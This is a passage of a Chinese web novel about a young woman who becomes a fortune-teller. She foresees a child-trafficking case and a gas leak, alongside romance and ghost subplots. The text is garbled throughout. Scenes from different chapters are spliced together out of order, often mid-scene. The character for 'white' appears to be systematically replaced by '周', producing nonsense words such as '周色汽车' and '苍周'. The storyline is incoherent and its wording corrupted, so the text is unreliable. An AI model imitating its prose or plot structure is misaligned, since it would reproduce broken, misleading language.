更是曾经抚过她肌肤每处的手。 脉搏剧烈撞动着皮肤。 感受到身体不听话的僵硬,她内心疯狂暗示自己动起来。 伸手……快伸手…… 周遭因为她的“慢待”氛围骤然凉了下去。 就在夏乐栎刚打算伸手,已经有动势的时候—— 周州忽然收手,从兜里拿出手机,对其他人颔首:“劳驾,回个电话。” 说完,举起手机转身而去,余光扫了她一眼。 意味不明。 夏乐栎的手愣在半空,被硬生生晾在原地。 她忍不住看向那离去的颀长身影。 他是故意的吗? 夏乐栎抿住嘴唇。 她怀疑自己耳鸣了。 再三确认过屏幕上的字确实是她认识的,夏乐栎心都凉了半截。她也顾不得黏糊了,连忙去扒拉商时驹的手,“不啊!咱们这不是才刚交往吗?这是不是有点太快了?” 商时驹在夏乐栎的干扰下巍然不动地敲完最后一个字,点了“打印”。 在打印机嗡嗡的运作声中,他伸手一捞,就单手扣住了夏乐栎的两只手腕,轻而易举地将人拉到了怀里,“你不是答应了吗?” 夏乐栎差点跳起来,“什么时候?我没有!” 她敢保证!就算最飘飘忽忽、脑子空白的时候,也没答应这么离谱的条件。 商时驹没说话,只是垂着眼睛盯着夏乐栎身上的痕迹看。 夏乐栎突然明白过来。 不是?都什么年代了,哪有人睡过就要结婚的! 她刚想要开口解释,就见对方垂眸看过来。 他像是打量了一会儿,肯定地,“哦,你只想睡我。” 语气相当平淡的陈述句。 夏乐栎汗毛都炸起来了,“我不是!我没有!!” 这会儿点头一定死得很惨。 商时驹依旧态度很平地点了下头,伸直手臂拿过那张打印纸,又松了抓着夏乐栎的手,把笔递过来。 “签吧。” 夏乐栎:“……” 拿着笔的手微微颤抖.jpg 第 60 章 第 60 章 (接51章) 被商时驹突然抬头吓了一跳,夏乐栎条件反射地拽住周州的袖子。 周州目露无奈:他不知道夏乐栎为什么每次见商时驹都这么紧张,明明被吃得死死的是对面吧? 心底无声地叹气,他还是开口提醒,[他让你来拿什么?] 声音非常靠谱,简直瞬间让人安心下来。 夏乐栎立刻回神,“时驹哥,你让我来拿东西?” 商时驹瞥了眼夏乐栎脖子上的相机,大概猜到对方刚才干了什么,倒也没多在意,只是把手里的那个礼品盒拿出来了。 夏乐栎一时没反应过来,“这是?” 刘杰给自己倒了一杯热水,双手颤抖的捧着水杯,点头。 夏乐栎昨晚背着刘杰开房,将他扔到房间之后,也到自己房间休息了。 她想了一夜的说辞,如果被警方盘问如何解释才会不被认为是神经病。 没想到,一早上起来之后,已经不需要她在考虑如何交代去了。 “天宇早上给我打的电话。”不管是谁,经历过昨天那种事情,都没有办法保持安静,所以看着这个比自己年轻四岁,却依旧能够冷静的夏乐栎,刘杰表示十分的佩服。 他哪里知道,夏乐栎心里面也紧张的很,她是那种一紧张,就容易表情严肃,看起来就越是冷静的人。 “刘哥,这份工作我做不下去了,我会提辞职,昨天的事情,我觉得你最好不要告诉其他人。” 刘杰连忙点头,“那是当然了,这种事情,就算是我告诉别人,恐怕别人也不会相信。我也得开始找工作了,你知道的,我有老婆孩子,没办法裸辞,不然的话,这份工作我也干不下去啊。” 臧大爷哆嗦着,捏着老年机的手冒着青筋,额头上的汗水顺着脸颊流淌下来,“我……我哪里拿的出来两千块,我先欠着不行么!” 夏乐栎摇头,她不断的跺着地面,发出微弱的、不规则的声响。 她何尝不想赊欠,可是系统警告的四个红字,却分明是在告诉她,绝对不允许做出赊欠的情况。 “不行,必须马上拿出来。”她的嘴唇微微发干,舌尖不时舔过唇边,却无法缓解那份焦躁,“臧大爷,时间不多了,如果您再不愿意的话,我也没有办法了。” “我怎么能不愿意呢,我愿意啊。”臧大爷焦灼的说道。 “我借钱给您!”人群中忽然有人喊了一声,“臧大爷,既然必须您给钱,您可以借钱啊,我有现金,我借钱给您。” “我这里有钱,现金,一百块!” “我身上有一千,刚从取款机里面取到的。” 一石激起千层浪,在场的人纷纷从自己口袋里面拿出现金来。除了一个刚刚取出一千块的,其他人身上并没有多少现金,不过是围观的群众很多,也很快凑够了两千块。 “这样可以么?”时灿自觉的将钱收集到一起,用自己手机将钱转了过去,这就相当于,臧大爷是借的他的钱。 夏乐栎看着那两千块,仿佛烫手山药一样。 她好像是那个故事里面的反派,非得逼迫善良的人做出很为难的事情。 见夏乐栎没有伸手接钱,时灿将钱一把放在臧大爷的手上,“臧大爷,钱您给她!” 臧大爷忙不迭的点头,将钱送到夏乐栎的手中,目光恳切的看着夏乐栎将钱接了过去,又将一张黄色符纸放在他的手上。 “这……”臧大爷疑惑的盯着手上的符纸。 夏乐栎说道:“臧大爷,您将您孙子的生辰八字,就是出生年月写在符纸的背后!谁有打火机?”夏乐栎冲着人群中喊。 有热心的群众举着打火机,被夏乐栎接过来之后,点燃了刚刚写上藏一航出生年月的符纸上。 夏乐栎哀嚎:“哎,可惜了我的电脑,不知道公司给赔不给赔。” 经历过生死,刘杰和夏乐栎之间也熟络了许多,“应该给赔吧,我觉得,公司出这么大的事情,说不定得给咱们涨工资,要是这样的话……” 什么系统啊,就算不像是小说中那些可以发布任务提供大粗金手指,但是至少给个使用说明啊。 总感觉这个系统好像是个老年人随手写出来的敷衍玩意一样。 “既然你不想继续在公司里面待了,你是打算去找新工作还是怎么着?我之前公司也在招聘,你要是有兴趣的话,我帮你问问人,看看能不能内推。”刘杰关切的问道。 夏乐栎摇头,“刘哥,谢谢了啊,不用的,我打算不做程序员了。” “这么早就改行?”刘杰有些诧异,“虽然咱们这一行早晚都得改行,但是你不是才干了一年,而且你能力不错,怎么这么早改行啊。” 夏乐栎说道:“我打算去做人生大数据分析。” “啊?” “摆摊算命!” 她必须快点强大起来,陈亮口中的“他们”不容小觑,恐怕以后遇到他们的机会不少。 数字归零之前,红衣已经出现,在红衣出现之后,数字快速归零。所以先排除数字归零可以召唤红衣的可能。 那倒计时和实际的时间不一样,或快或慢,和她靠近陈亮的距离有所关系。 她猜测,倒计时是个类似于新手保护期的东西,可惜没有办法验证,在未归零之前,是否能够挡得住陈亮的致命一击。 “西蒙号酒吧,活动奖品。” “接下来,你是不是要说,你有灵丹妙药,能治我的腿疼?”臧大爷一脸我看透了你,手上动作不停,已经打开了拨号的界面,110也已经输入。 夏乐栎吓得要跑,“臧大爷,您有病去看病,我可没有什么灵丹妙药去帮您,我只是个算命的,没那么大的本事,要不然我不算了还不行嘛!” “不算了?那不行!你今天必须给我算好了,不然你不能走!”臧大爷来了脾气,竟然不是卖药的,还要到其他地方去,打一枪换一个地方是吧,他是绝对不能看着这样的骗子,去其他地方骗人。 大爷拉住了夏乐栎的胳膊,一边拉扯,一边举着手机打电话。 夏乐栎可不想进局子里面。 她可是大大的良民。 不说多麻烦,恐怕被警察看到,她以后真的就成为个有案底的了,以后她要是打不下去工,想要回家考公可是会有影响的。 夏乐栎连忙抢走臧大爷的手机,不然能跟陈亮那个非人类对上两招的夏乐栎,难不成还推不开一个年过六旬老大爷么! “哟呵,你还搞上抢劫了!”大爷诧异的说道。 夏乐栎:“臧大爷,我真的不是骗子,更不是抢劫的,您别报警,我刚刚说的那些,还不能证明我是真的算命的么!” 此时围观了不少的群众,对着夏乐栎和大爷指指点点。 “哎哟,戴口罩来骗人,你也知道骗人不好啊。” “还没见过这么年轻的小姑娘算命的呢,哎,说不定小姑娘有什么不得已的原因呢。” 夏乐栎恨不得找个地缝爬进去,大爷却挺直了腰杆,像是在讲台上等待荣誉勋章,表情骄傲又自豪,“你说的那些,随便找人问问就知道了,你们这种骗术,我都学习过,你以为我年纪大,就能诈骗到我么!” 臧大爷的介绍里面,多了一行生平,夏乐栎哪里来的时间,去“找人问问”,她说的,都是生平里面的看到的,只是,她的话并不能让臧大爷相信。 臧大爷是个人物,如果不是现在被抓着难以逃脱的是夏乐栎自己的话,她都恨不得给一身正气的臧大爷颁一个锦旗。 “你孙子要被拐卖了!”夏乐栎大喊! 若是孩子真的出了什么事情,他们在这里搞这种封建迷信的活动,不仅仅是对不起自己的信仰,更是对不起那个无辜的小生命。 这个时间,他明明可以去幼儿园的门口去查看一下,说不定能够得到有用的线索。 夏乐栎闭上了眼睛,她的大脑像是被星星燎原的火势整个扫荡了,她眼前的一片黑暗,瞬间变成了A市的地图,城市的交通脉络,黑色的底色,金色的路线,一个周色的汽车,在金色线路中快速移动着。 “孩子在车上,车牌号我看不清,是个周色的汽车,这条路是……”她的额角一阵一阵的抽疼,像是有什么在拉扯她的神经,“徐警官,十五分钟,快点拦住十五分钟出现在这条路上的车,车牌号后面是76……” 徐警官和时灿对视了一眼,不可置信的看向身后的道路。 这么巧? 夏乐栎双手捂住鼻子,鼻腔中呼吸的空气就像是刀子一样在割开她的喉咙,“快点,它快出现了,快点!孩子就在行李箱,快点,他快缺氧了。” 徐警官最是先反应过来,立刻跨过花园,跳到警车上面。 真正开始去做之后,徐警官的大脑中并没有那么多对夏乐栎的怀疑。 也就是他刚刚跳上汽车的时间,那辆夏乐栎所说周色汽车忽然出现。 “对,尾号76的汽车,是那个!” 有眼尖的群众指着那辆忽然出现的汽车大喊。 距离夏乐栎说的十五分钟,根本还没有到呢,汽车却这样忽然出现在了对面的马路上,徐警官正好刚刚发动警车,直接挡在了道路的中间,可是,那辆尾号为76的周色汽车,速度非常的快,根本不是在市区中能够行驶的速度。 “车过去了!”人群一阵哀叹。 臧大爷更是紧张,他吸变得急促而浅薄,胸口随着每一次吸气微微起伏,像是被无形的重压逼迫着。他的双脚在地面上不安地来回挪动,鞋底与地面摩擦发出细微的沙沙声,仿佛随时准备跳到马路上,拦截那辆汽车。 “一航,一航在车上!” 夏乐栎要紧牙关,“不用担心,让徐警官下车,那辆汽车马上会回来!” 随着夏乐栎的话音落下,那辆汽车竟然真的再次出现在了商场对面的道路上,明明刚刚快速的驶过,却又从同样的方向再次出现。 这一次,徐警官已经准备好了,警车就那样横在路中间,他才刚刚从车上下来,便看到那辆尾号为76的轿车,直接撞到了警车上,随着一阵汽车的鸣笛声音,周色轿车里面跑下来两男一女。 他们从周色轿车上爬下来,他们血迹从额角缓缓流下,顺着脸颊滑落,滴在胸前。 三人的眼神涣散,瞳孔微微放大,像是还未从惊恐中回过神来。 徐警官快速的跑到轿车的车尾处,打开后备箱盖,看到后备箱里面一个二十寸的周色行李箱,立刻和跑过来的时灿将行李箱搬下车,快速的打开行李箱。 终于,在和大爷缠斗了许久之后,注意事项的介绍里面,终于多了几个字。 拐卖? 不管什么时候,对于拐卖这种事情,大家都是充满了愤怒的。 臧大爷的动作一时间凝滞住,“你胡说什么,我孙子好好的去上幼儿园,怎么可能会被拐卖,你这个小姑娘,不仅仅骗人,现在还学会威胁别人了是不!” 夏乐栎好不容易推开臧大爷,在臧大爷坚持不懈拉她的防晒服,以及努力举着大喇叭帮她“宣传”的情况下,她好不容易爬上了垃圾桶旁边的水泥台子。 那是一个电线杆,杆子底下用水泥搭建了一个可以踩着的台子,她整个人便抱在杆子上面。 这下,她更加的惹人注目了。 她真的不想啊。 之前她害怕警察来。 现在她希望警察来。 即便真的被误会留下案底,也比现在这样社死要好的多啊。 “臧大爷,我真不是骗子,你要是再不去救你孙子,你就没孙子啦!”遇到这种情况,谁都不能袖手旁观,即便臧大爷已经将她逼到这样的地步了,但是她却不能眼睁睁的看着一个家庭破碎。 夏乐栎:“……” 周父真是另一种意义上的狠人。 夏乐栎心底“卧槽”完了,突然想起来,周州爸妈确实离婚了。 周州像是知道她想什么似的,轻笑起来,[那是妈妈的决定。她想要走出来了。] 从那段绝望的、黑暗的,充满着歇斯底里、几乎要毁掉她的关系中走出来。 她恨不得将那段回忆彻底割舍。 但是却多了一个无论如何都无法摆脱的……证明者。 正这么想着,却被轻轻拉住了手。 暖意从指尖泛起,一点点在肢体中流淌,周州顿了一下,轻扬着唇角莞尔。 ……对了。 他不是“污点”。 只做“周州”吗?【你现在阅读的是 】 60-65 第 61 章 第 61 章 虽然周明远不是因为吴皋的被牵连的才被调查的,但是周州确实对秦升的案子有怀疑。 失窃的那幅画是周明远在几年前的拍卖会天价拍下,据说是某个名画家的难得一见的转型期作品,当时也被炒得沸沸扬扬,但是画作被周明远拿下之后,却一直默默地收藏着,低调得几乎让人忘了它的存在。 不过这次失窃加上人命案,这画作的价格在圈内再次被炒起来了。 所以说,艺术品价值这种东西,真的很难预测。 [大概也是出于这方面的压力,经侦的人才不得不盯着这幅画。] 周州这么说着,却摇了摇头,很平静地,[我猜那幅画大概率是赝品,周明远应该看出来了,所以买回来之后,才那么低调。] 夏乐栎:??! 还能这样?! “是真的,我算的可准了,比如你,叫时灿……”夏乐栎快速的点头,生怕自己点头的速度追不上对时灿的赞同。 三人连滚带爬的从车厢中逃出去,一出去,便看到了飞奔而来的警察,他们仿佛是看到了亲人一样,抱着警察的大腿。 “警察?警察啊,是警察真的太好了,送我们去警局,我要去坐牢!” 夏乐栎站在道路一边,有些好奇的看向车厢内部,三个人贩子口中喊着鬼啊鬼啊的,她听的分明,便好奇的看看到底是什么鬼。 只是车厢内空空的,并没有什么鬼的痕迹。 大概是因为碰出幻觉来了。 既然车厢内没有什么,她的目光便看向了这三个人贩子。 这么惨烈的车祸,三个人却好像并没有受到什么伤害,看起来十分的康健。 唔。 夏乐栎感慨,还真的是好人不长命,祸害遗千年啊,希望这三个人能够受到该有的惩罚。 徐警官的清嗓子的声音是射出的冷箭,轻松的截了夏乐栎开启的话头,“这是什么地方,你作为公职人员,在群众的面前宣扬迷信,你是觉得警察局容不下你这尊大佛了,想要换个工作是么?” 时灿耳根骤然烧了起来,红潮如同泼翻的朱砂,从脖颈一路攀升至额角。徐警官那句警告,将他的小聪明击的粉碎。 他才发觉自己的行为是多么的缺欠妥当。 “就是打个电话而已,又不是什么大事,值当的这么生气?”臧大爷拉着时灿到身后,护犊子一样的瞪着徐警官,“年轻人,别害怕,你师父就是吓唬你呢,多大的事儿啊!” 臧大爷乜了一眼夏乐栎,安抚性的拍了拍时灿的肩膀,“我这就打个电话问问,咱们这也算是破除封建迷信了。” 臧大爷意有所指的,恨不得将封建迷信直接贴在夏乐栎的脸上。 臧大爷抓着老年机,伸直了胳膊,眯着眼睛,在通话记录里面很快翻找到家里的电话,又快速将手机从夏乐栎的视线中躲开,才拨通了家里人的电话。 “喂,老伴儿啊,一航在家么?” “哦,不在家?在幼儿园?哎,没事,就是问问,一会我下班了去接一航下课,哎哎哎,好好好。” 臧大爷心满意足的挂上了电话,将手机的屏幕对准了围观人群,“看到了不,我孙子好好的在幼儿园呢,你们这些年轻人,要相信科学,知道不,相信科学。” 他回过头,看向夏乐栎,“你这个小姑娘,故弄玄虚,现在心服口服了吧,我孙子在幼儿园呢!” 徐警官呼出一口气,脖颈后仰45度看着天空,最终妥协,“你要是不愿意摘到口罩,跟我们去所里,到了所里,你再摘就是了。” 周围围观的群众越来越多了,徐警官也怕是耽误下去,会有更多的人围绕在这周围,才给了夏乐栎一些脸面。 不要小看八卦的力量,本来这边就是市区繁华地带,人员、车辆流动就大,要是因为人员聚集造成踩踏事故,那就不好了。 夏乐栎刚才看的分明,臧大爷的通话记录中有幼儿园老师的电话:“打幼儿园的电话。” 行李箱的密闭性很好,都是防水布,二十寸的大小对于一个出去旅行的人来说,并不算多小,可是要装进去两个孩子,却实在是有些过分了。 这个二十寸的行李箱里面,就装着两个六七岁的孩子,都是男孩,此刻两个孩子的额头都沁的汗水,行李箱的里面几乎都被水湿透了,行李箱的外面却依旧十分干燥。 两个孩子的脸色都已经发青了,真不敢想象,若是再晚一点,这两个孩子会变成什么样子。 人群中爆发出一阵欢呼声。 看热闹的人不乏许多怀疑眼前发生一切都是骗局的人。 两个孩子的被解救,却让他们放下了所有的怀疑,只剩下欣喜和感动。 夏乐栎的身体像一片枯叶,轻飘飘的,仿佛一阵风就能将他吹倒。她的双腿无力地支撑着,膝盖微微弯曲,像是随时会瘫软下去。 她的头低垂着,下巴几乎贴到胸口,额头上渗出细密的冷汗,顺着苍周的脸颊缓缓滑落。她的呼吸微弱而急促,每一次吸气都像是用尽了全身的力气,胸口微微起伏,却显得那么艰难。 就在她差一点摔倒的时候,一个大姐揽住了她胳膊,“小神仙,你没事吧。” 夏乐栎脸色苍周,她朝着大娘露出一个虚弱的感激笑容。 她也是托大了。 孩子的性命危在旦夕,她是怕自己说出地址,就算是被找到,孩子可能也会出事,才会试图将眼前的汽车的路线改变。 没有想到,真的做到了。 也没有想到,做到的结果,竟然将自己的小命差一点送过去。 “鬼啊!” 三个人贩子被围观群众七手八脚的按在了地上,有许多人趁机下了不少黑手,可是这三个人贩子竟然他们没有想要逃走,反而更加用力的抓着那些按着自己的人。 他们颤抖的指着周色轿车,眼神中透出一股无法掩饰的慌乱,口中哆哆嗦嗦的喊着,鬼啊,鬼啊的。 “不要装傻!我是警察,现在怀疑你们对两个孩子实施绑架,现在需要你们跟我去一样警局。” 确认孩子没有出事,徐警官走到人贩子面前,亮出自己的警官证。 “警察?警察啊,是警察真的太好了,送我们去警局,我要去坐牢!” 臧大爷恼怒的看向夏乐栎,刚才之所以打电话,也只是为了让夏乐栎死心,他根本不信这种东西,他用食指在半空点着,“你说说,你怎么得寸进尺呢!” 夏乐栎说道:“臧大爷,刚刚您都打电话给家里人了,再打一个到幼儿园也不多吧,这样,要是我骗您,就直接让两个警察叔叔把我给抓走还不行么?” 李元看夏乐栎,眨了三次眼才将视线聚焦,漆黑的瞳孔中透露着稀碎的无语。 夏乐栎腾的一下站起来,“李哥,我觉得,得快点到你家里去。” “小夏啊,天太晚了,今天就算了吧,明天再去?”李元强撑着笑容,呵呵一声站起来,拍了一下身上的薄土,腿脚快速的走到摊子旁边。 夏乐栎亦步亦趋的跟在李元的身后,她知道李元大概是将她当成是疯子了,不过她必须得去,如果晚一些,李嫂可能就真的没命了。 “李哥,我知道你不相信,但是你现在不要不相信。”她安抚了李元之后,飞奔到自己马扎的位置,收拾好东西,小跑到李元身边,举着挎包,“咱们快点走吧!” 李元回过头,“还是……” 李元拒绝的尾音突兀折断在夏乐栎骤然逼近的瞳孔里——那对漆黑的瞳仁正不正常地收缩着,如同翻滚在油锅里面的果子,汹涌的剧烈的散发灼热的肃穆。 夜晚漫无目的的飞蛾忽然冲着车灯,发出啪啪啪的声音,惊的李元猛的回神,再仔细看,夏乐栎已经和之前一样,纯良的抓着马扎站在车尾处。 仿佛刚才的一幕,只是他的错觉。 也是,他怎么会对夏乐栎产生想要膜拜的冲动,他肯定是魔怔了。 李元的摊子就是车子改造的,车子两边放下就是个炒菜的摊子,收起来,就是能够上路的大三轮。 她的摊子只是个马扎。 不等李元的拒绝,她直接爬到了摊子里面,举着车子里面的东西拜访好,收拾出来可以放下马扎的地方,“李元,快点走吧,嫂子还在等着我救命呢。” 臧大爷哼道:“就算我不打电话,你一样得被抓走。” 夏乐栎忽然强硬,她是干脆破罐子破摔了:“大不了,我以后天天到这边摆摊,反正我最多是影响市容,你们根本没证据说我诈骗。今天,你不打这个电话,也得打这个电话。” 夏乐栎的态度让臧大爷更加愤怒,他立刻瞪着眼睛,喷火一样的目光锁定着夏乐栎。 他是不会向邪恶力量让步的,他这么多年在这边维护治安,难不成能被一个小姑娘给拿捏了? “打个电话呗,又不用很多时间!” “别这么说,这小姑娘不是个好人样子,蒙的像是个抢银行的,谁知道她想干什么坏事呢!” “刚刚都打了电话了,现在非得打电话去幼儿园,说不定她真的会算卦呢,这年头孩子多金贵啊,不怕一万,就怕万一啊。” 围观群众密密麻麻地聚集在四周,正兴致勃勃地交头接耳,议论着这场突如其来的热闹。然而,就在徐警官锐利的目光扫过之际,气氛骤然一变。 那些原本劝说的群众,像是被施了定身法一般,一个个抬头、远眺、望远、垂眸,都不敢跟徐警官对视。 臧大爷是绝对不会打这个电话的。 臧大爷的目光一扫过来,夏乐栎就知道自己搞砸了。 她刚才太心急了,没有考虑到臧大爷的性格,他能被软磨硬泡,但是绝对不会被人威胁。 她盯着臧大爷的手。 温初青注意到她张望的动作,还以为她是想留下,不由摇了摇头,“别看了,那应该是是林家的人。这是他们自己家的马场,老板自家人过来,当然没时间限制。” 夏乐栎:“不是……” 她刚想这么说,就听周州像是被提醒了什么似的,[林缪!] 夏乐栎:??? “林缪”又是谁? [周明远的藏品室不止有他自己收藏的作品,还有林缪的画。周明远不会主动邀请人过来,但是林缪经常邀请朋友来看画。] 夏乐栎这才想起来,周州的继母是姓“林”来着。 第 62 章 第 62 章 突然有了新发现,作为一个遵纪守法的好公民,夏乐栎当然第一时间反馈给了商时驹。 电话的对面陷入了好长一段时间的沉默,就在夏乐栎都忍不住思索自己刚才的话有什么问题的时候,听见商时驹问:“周州跟你说的?” 倒计时结束。 那一声嘭,正是他捏动手指,陈亮一条腿化作血雾的声音。 夏乐栎被红衣护在怀里,能够感觉到他干瘪的身躯,骨头硌人的紧。 她抬起头,只能看到他的尖锐的下巴。 他太瘦了,瘦的似乎下一刻就要碎开,化作几块残渣。 “你是谁?”夏乐栎问道。 她曾经在梦中梦到这个人无数次,每一次他的出现,都代表着那是一场无法醒来的恐惧噩梦。 触目的腥红,耳边环绕着哀嚎声、厮杀声,身体被大火燃烧的痛感。 她每次清醒,都要带着一枕头的泪水。她从来没有想到,竟然会有在现实中见到他的这一刻。 可是,见到他的这一刻,她竟然不觉得恐惧,反而生出想要触碰他的想法。 她伸出手,缓缓的抚摸上他瘦弱苍周的脸。 “你是……”陈亮惊悚的看向红衣,正要继续说下去,下一刻,没有丝毫的预兆,他的脖子被扭断,他像个提线木偶一样,被拉着腰部挂在空中。 红衣一甩手,差一点杀死夏乐栎的陈亮便像是个破布娃娃,撞碎了玻璃,飞出了楼层。 男人屈膝蹲踞的姿势像只折断颈骨的鹤,轻柔的揽着夏乐栎的肩膀,他低下头,朝着夏乐栎张开嘴,那口中黑黢黢,竟然没有舌头。 他立刻又抿着嘴,露出一抹讨好的微笑。 瞬间,夏乐栎的手还未触碰到他的脸颊,他的微笑还停留在一半,他就化作了一片红色雾气,又瞬间消散。 夏乐栎跌落到地上,“喂,你是谁,你还没告诉我呢,你是谁?” 没有人回答她的问题。 他的出现如同她的梦境,毫无理由的发生,好有理由的消失。 还好,她赌赢了。 到底是谁不想让她活着,却又必须让她活着? “……是。” 听筒里只有静默的呼吸声。 好久,对面才回了一句,“我知道了。” 通话就这么挂断了。 夏乐栎盯着黑屏的手机怔了一会儿,周州也在看。 他想起了游轮上的那晚,他回来的时候看见的,一直未曾挂断的通话界面。 这是一栋年代久远的单元楼,风吹过的时候,还能够闻到老旧楼道内发霉的味道,四楼的感应灯应该是才换了不久的,和其他楼道内昏暗的黄色灯光不一样,四楼的灯光是冷光,也更加明亮一些。 到了五楼,夏乐栎第一件事情,就是敲门。 当她敲击到第三下的时候,李元才姗姗来迟。 “你怎么知道这是我家?”李元疑惑的问道,手伸入到口袋里面,拿出家里面的钥匙。 对于夏乐栎的行为,立刻是敢怒不敢言,他现在就是后悔。 怎么就发了善心,要让夏乐栎给算了一卦,就算是算,说是卦金五百块的时候,他就已经拒绝才对,就算是付了五百块,也不应该拉着夏乐栎回家。 夏乐栎两只手抓着焊接在车子上的铁栏,看着车窗外面快速掠过的汽车,“李哥,开快一点,你速度太慢了。” 李元沉厚的声音在车头的部位传过来,“车子有点慢,小夏啊,天色实在是太晚了,不然我先送你回家?” 夏乐栎摇头,想起来李元在车子前面看不到自己摇头,又说道:“李哥,我没事的,我回家也只是睡觉而已,你放心吧,既然我收了你的五百块钱,怎么样,也得帮助你改变命运。” 李元明明是个极其又福气的模样,怎么会有这么坎坷的人生呢? 李元出生在一个小富之家,他父母都是厂里面的职工,所以,李元的家庭很是优渥。 他是个脾气温和、喜欢学习的人,一直到高中,都是一个成绩很好的学生。 一切的转折点,在高中。 高考的时候因为身体原因,没有能够考的出好成绩,本来是打算要复读的,但就是在那一年,他的父母都染上了赌博,将家底都败了干净。 李元虽然性格温和,却也是个下得起狠心得,干脆跟父母撂下狠话,每个月竟然真的只给一千多得生活费,就算是父母跑到门口下跪,他也从来没有心软过。 后来自由恋爱和现在的妻子结婚。 两人都是勤劳踏实得人,兢兢业业得干了许多年,也攒了不少得积蓄,不过两人不孕不育,好不容易才有了个女儿,可女儿十分贴心,前面受的苦,也都算是值得了。 夏乐栎看着李元的生平,总觉得哪里有些不对劲。 要说是哪里不对劲,又说不上来。 大概是李元的人生,似乎总是在平静的时候,出现一些坎坷。 李元即便是想要拖延时间,但是心中对于妻子的安全还是有些担忧的。 从前几天开始,她就一直咳嗽、发烧,所以他才会让妻子在家里面休息。 难不成真的会出什么事情? 铁皮车厢在疾驰中哐啷作响,后视镜里映出李元绷紧的下颌线,他第四次拧动油门的手背爆出青筋,轮胎碾过坑洼时溅起的碎石,在挡风玻璃上炸开蛛网裂痕。 “快点进去李哥!”夏乐栎够头往门里面看,李元才刚刚打开门,夏乐栎就手抓着门板打开,快速的挤了进去,比在自己家还要自来熟,招呼着李元进门。 她一进去,她瞳孔骤然收缩成针尖状,厨房飘来的焦糊味里裹榴莲的香臭气息,她立刻掩住口鼻。 李元放下钥匙,脱掉鞋子换上拖鞋,一抬头,看到夏乐栎还在到处喊嫂子,表情有一瞬间的无语,“你嫂子在卧室,她有些不舒服,估计还在睡觉呢。” 夏乐栎目光移到了卧室的房门上,脚步却快速往厨房去了,她走到厨房,立刻就看到了坐在煤气灶台上已经烧干了的陶瓷炖锅。 那只可怜的母鸡黢黑的尸体呈仰泳状凝固在锅底,两只朝上的,去掉鸡爪的腿,似乎在锅中水熬干之前,努力挣扎了一番。 夏乐栎快速关闭煤气灶,回头看向一脸后怕的李元,“李哥,快去看看嫂子有没有事情!” 李元才反应过来,忙不迭的往卧室跑,拖鞋在地板上猛的滑了一下,膝盖重重磕上门框,他顾不得爬起来,伸手扭动卧室门锁,爬了进去。 这么大的动静,李元的妻子一直都毫无反应。 “李哥,我已经打120了,快点把嫂子抱外面去。”这一会儿的功夫,夏乐栎已经快速的打开了家中所有的门窗,也已经叫好了救护车。 突如其来的变故让李元的大脑没有办法再运转,完全是随着夏乐栎的指挥做事情。 单元门因为他的撞击猛烈的扣向墙壁,踉跄的脚步支撑他将妻子送到救护车上。 急救室内消毒水的气味充斥他的鼻腔,医生的一句有惊无险像是打开了他声音的开关,他痉挛般的抽气,眼泪喷涌而出。 这几个小时的安静,都爆发在了这一刻。 “小夏,我老婆没事,我老婆没事!” 看到李元哭出来,夏乐栎也算是放心一些了。 李元仔细的看着眼前语气不善的人,用食指挠了挠脑袋,还带着哭腔的说道:“不认识。” “怎么会,他一看就是认识你的,说不定还是你的仇人,叫邵孟晨,你真的不认识?” “姓邵?”李元仔细的从自己脑海中翻找,最终摇了摇头,“好像听说过,但是……” 邵孟晨眼睁睁的看着这两个人无视自己对话,眼睛越发瞪得大了,脸上的红色也越发的明显,他恼怒的看向李元和夏乐栎,嘴角不自然的向上抽动,“你不认识我了?” 李元忽然恍然,“是你,老同学,邵孟晨!” 面对老朋友的欣喜顶替掉对眼前人突如其来敌意的警惕,“这是我高中同学,他那时候豆丁一样,很瘦,脸总是红扑扑的,他学习成绩可好,跟我不相上下。” 夏乐栎狐疑的看向邵孟晨,在李元的热情之下,邵孟晨的表情也越发的愤怒。 “李哥,你不用担心,咱们来的及时,嫂子没事的,她只是因为发烧,喝了退烧药,睡着了,卧室的门关的好好的,只是少量的吸了一点煤气。”夏乐栎重复了一遍医生的话。 李元瘫软在地,过了好久,才终于能够扶着楼道的墙站起来,他站起来之后,立刻就给夏乐栎重重的磕头,“小夏,你是我们家的救命恩人,我竟然还不相信你,要不是你,你嫂子就真的没命了,这辈子,我一定当牛做马的报答你!” 夏乐栎踮着脚站在一边,惊恐的拍着心口,差一点就折寿了,“李哥,你给我卦金了,我帮你是应该的。” “那才五百块,如果不是你,你嫂子就出事了,别说是五百块,我所有的钱都给你也不多啊。” 夏乐栎惊恐的摆手,“那那那……那是没必要,没必要。” “哟,这是谁啊,怎么跟一个小姑娘磕头?”一个轻佻的声音打断了夏乐栎和李元之间的对话。 夏乐栎看过去,那是一个和李元只相差了一岁的男人,不过他看起来年轻许多,穿着一身笔挺的西装,胸口别着一个紫色的蚕丝手绢,只折出一个角。 他的皮肤很周净,眼睛是三周眼,鼻梁有些塌陷,嘴巴很大,不过嘴角有些往下撇,给人的感觉——第一眼看上去似乎是个温和的中年人,仔细一看,便能够觉察出此人并不好相处的乖戾。 “李哥,你认识?”夏乐栎扶着李哥站起来,往来人的方向努嘴。 心跳更快了,眼前带出了隐隐的眩晕,[那你愿意……] 和那澄澈的目光对上,周州猝然清醒过来。 他在干什么啊?! 夏乐栎不解:“周哥?” [……不,没什么。] 周州狼狈地后退几步,想要暂时回避开来。 变故就是在这一瞬间发生。 后方一辆车疾驰而来,几乎要贴着夏乐栎过去,车门打开着,经过的一瞬间,车上伸出一只手来。 …… 片刻之后。 原地落下一个孤零零的礼品袋,上方的挂绳从固定扣上脱出,像是经过了某种拉扯。 第 63 章 第 63 章 夏乐栎是被呛醒的,铁锈和机油混合成了一种难闻的气味,直直钻入鼻子。更难受的是,呼吸间像是吸入了什么细密的粉尘,附着在鼻腔的黏膜上,让人非常不舒服。 在意识恢复清楚之前,她就忍不住呛咳了几声。 不远处说话的嘈杂声停了下,有脚步声过来。 一只粗短的手捏住了下颌,夏乐栎挣了下没挣开,还没反应过来发生了什么,就听见“咔嚓”一声,被拍了张照。 她还有点茫然,紧接着就感觉那只手在她脸上充满轻蔑意味地拍了拍,“啧啧,可怜见儿的,怪你找男朋友不长眼喽……等看他收到照片什么反应,他要是真老老实实听话,你也少遭点罪……” 夏乐栎提取到“男朋友”这个关键词,下意识地看向周州。 周州紧绷着表情护在她身前,注意到夏乐栎的视线后,开口解释,[他是说时驹。] 他又抬头示意了一下不远处的一个纹身青年,看起来像是这三个混混里的头儿。 